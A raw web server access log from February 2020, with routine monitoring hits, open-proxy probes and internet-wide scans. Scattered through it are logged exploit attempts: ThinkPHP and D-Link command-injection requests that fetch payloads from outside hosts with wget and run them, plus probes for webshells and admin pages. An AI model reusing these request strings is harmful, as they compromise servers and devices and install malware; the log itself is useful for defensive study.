128.1.49.210 - - [19/Feb/2020:22:43:15 +0100] "HEAD http://123.125.114.144/ HTTP/1.1" 200 - "-" "Mozilla/5.01669615 Mozilla/5.0 (Linux; Android 5.1; S900PROBT Build/LMY47I) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/39.0.0.0 Safari/537.36"
123.145.25.17 - - [19/Feb/2020:22:43:16 +0100] "GET http://www.epochtimes.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
116.252.0.230 - - [19/Feb/2020:22:43:18 +0100] "CONNECT www.voanews.com:443 HTTP/1.1" 405 345 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
124.89.119.7 - - [19/Feb/2020:22:43:19 +0100] "GET http://www.rfa.org/english/ HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
116.54.42.199 - - [19/Feb/2020:22:43:19 +0100] "GET http://boxun.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
123.145.37.252 - - [19/Feb/2020:22:43:22 +0100] "CONNECT www.ipip.net:443 HTTP/1.1" 405 342 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
123.145.27.209 - - [19/Feb/2020:22:43:23 +0100] "CONNECT cn.bing.com:443 HTTP/1.1" 405 341 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
221.213.75.79 - - [19/Feb/2020:22:43:23 +0100] "GET http://www.123cha.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
36.248.89.160 - - [19/Feb/2020:22:43:26 +0100] "GET http://www.wujieliulan.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
222.94.195.130 - - [19/Feb/2020:22:43:29 +0100] "CONNECT www.baidu.com:443 HTTP/1.1" 405 343 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
212.91.246.72 - - [19/Feb/2020:22:43:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.201.179.21 - - [19/Feb/2020:22:43:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [19/Feb/2020:22:44:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:22:45:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:22:46:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.112.5.162 - - [19/Feb/2020:22:47:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:22:47:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:22:48:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.196.108.183 - - [19/Feb/2020:22:48:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
176.163.131.89 - - [19/Feb/2020:22:49:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [19/Feb/2020:22:49:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:22:50:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:22:51:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:22:52:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:22:53:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:22:54:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.188.72.70 - - [19/Feb/2020:22:55:20 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [19/Feb/2020:22:55:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:22:56:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:22:57:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.232.179.153 - - [19/Feb/2020:22:58:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [19/Feb/2020:22:58:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:22:59:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
202.86.216.227 - - [19/Feb/2020:23:00:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [19/Feb/2020:23:00:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:23:01:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.128.48.87 - - [19/Feb/2020:23:02:25 +0100] "GET /wp-login.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
212.91.246.72 - - [19/Feb/2020:23:02:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:23:03:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
175.35.173.108 - - [19/Feb/2020:23:04:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [19/Feb/2020:23:04:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:23:05:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
213.5.53.120 - - [19/Feb/2020:23:05:58 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [19/Feb/2020:23:06:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:23:07:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:23:08:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:23:09:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:23:10:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:23:11:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.192.224.217 - - [19/Feb/2020:23:12:38 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.224.217 - - [19/Feb/2020:23:12:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.224.217 - - [19/Feb/2020:23:12:47 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:23:12:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.192.224.217 - - [19/Feb/2020:23:12:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.224.217 - - [19/Feb/2020:23:13:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
88.249.124.201 - - [19/Feb/2020:23:13:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:23:13:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [19/Feb/2020:23:14:08 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:23:14:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:23:15:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.118.160.17 - - [19/Feb/2020:23:16:43 +0100] "GET / HTTP/1.0" 200 1229 "-" "NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com"
212.91.246.72 - - [19/Feb/2020:23:16:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [19/Feb/2020:23:17:44 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [19/Feb/2020:23:17:46 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:23:17:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:23:18:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
87.16.189.44 - - [19/Feb/2020:23:18:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
5.101.0.209 - - [19/Feb/2020:23:19:05 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
175.165.149.116 - - [19/Feb/2020:23:19:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:23:19:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.8.27.151 - - [19/Feb/2020:23:20:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [19/Feb/2020:23:20:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:23:21:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:23:22:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.207.57.123 - - [19/Feb/2020:23:22:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:23:23:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:23:24:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
170.79.82.31 - - [19/Feb/2020:23:25:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [19/Feb/2020:23:25:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.88.27.34 - - [19/Feb/2020:23:25:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
66.240.205.34 - - [19/Feb/2020:23:26:40 +0100] "Gh0st\xad" 501 321 "-" "-"
212.91.246.72 - - [19/Feb/2020:23:26:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:23:27:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:23:28:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.166.187.229 - - [19/Feb/2020:23:28:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
49.235.37.197 - - [19/Feb/2020:23:29:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
49.235.37.197 - - [19/Feb/2020:23:29:02 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
49.235.37.197 - - [19/Feb/2020:23:29:03 +0100] "POST /Admin55f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
49.235.37.197 - - [19/Feb/2020:23:29:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
49.235.37.197 - - [19/Feb/2020:23:29:26 +0100] "GET /l.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
49.235.37.197 - - [19/Feb/2020:23:29:27 +0100] "GET /phpinfo.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
49.235.37.197 - - [19/Feb/2020:23:29:27 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
49.235.37.197 - - [19/Feb/2020:23:29:29 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
212.91.246.72 - - [19/Feb/2020:23:29:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.235.37.197 - - [19/Feb/2020:23:29:54 +0100] "POST /bbs.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
88.100.39.132 - - [19/Feb/2020:23:30:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
49.235.37.197 - - [19/Feb/2020:23:30:18 +0100] "POST /forum.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
49.235.37.197 - - [19/Feb/2020:23:30:46 +0100] "POST /forums.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
212.91.246.72 - - [19/Feb/2020:23:30:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.235.37.197 - - [19/Feb/2020:23:31:11 +0100] "POST /bbs/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
49.235.37.197 - - [19/Feb/2020:23:31:34 +0100] "POST /forum/index.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
212.91.246.72 - - [19/Feb/2020:23:31:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.235.37.197 - - [19/Feb/2020:23:31:58 +0100] "POST /forums/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
49.235.37.197 - - [19/Feb/2020:23:32:22 +0100] "GET /webdav/ HTTP/1.1" 404 312 "-" "Mozilla/5.0"
49.235.37.197 - - [19/Feb/2020:23:32:22 +0100] "GET /help.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
49.235.37.197 - - [19/Feb/2020:23:32:23 +0100] "GET /java.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
49.235.37.197 - - [19/Feb/2020:23:32:23 +0100] "GET /_query.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
49.235.37.197 - - [19/Feb/2020:23:32:23 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
49.235.37.197 - - [19/Feb/2020:23:32:25 +0100] "GET /db_cts.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
49.235.37.197 - - [19/Feb/2020:23:32:25 +0100] "GET /db_pma.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
49.235.37.197 - - [19/Feb/2020:23:32:26 +0100] "GET /logon.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
49.235.37.197 - - [19/Feb/2020:23:32:26 +0100] "GET /help-e.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
49.235.37.197 - - [19/Feb/2020:23:32:26 +0100] "GET /license.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
49.235.37.197 - - [19/Feb/2020:23:32:27 +0100] "GET /log.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
49.235.37.197 - - [19/Feb/2020:23:32:27 +0100] "GET /hell.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
49.235.37.197 - - [19/Feb/2020:23:32:27 +0100] "GET /pmd_online.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
49.235.37.197 - - [19/Feb/2020:23:32:27 +0100] "GET /x.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
49.235.37.197 - - [19/Feb/2020:23:32:28 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
49.235.37.197 - - [19/Feb/2020:23:32:28 +0100] "GET /htdocs.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
49.235.37.197 - - [19/Feb/2020:23:32:28 +0100] "GET /b.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
49.235.37.197 - - [19/Feb/2020:23:32:30 +0100] "GET /sane.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
49.235.37.197 - - [19/Feb/2020:23:32:30 +0100] "GET /desktop.ini.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
49.235.37.197 - - [19/Feb/2020:23:32:30 +0100] "GET /z.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
49.235.37.197 - - [19/Feb/2020:23:32:31 +0100] "GET /lala.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
49.235.37.197 - - [19/Feb/2020:23:32:31 +0100] "GET /lala-dpr.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
49.235.37.197 - - [19/Feb/2020:23:32:31 +0100] "GET /wpc.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
49.235.37.197 - - [19/Feb/2020:23:32:32 +0100] "GET /wpo.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
49.235.37.197 - - [19/Feb/2020:23:32:33 +0100] "GET /t6nv.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
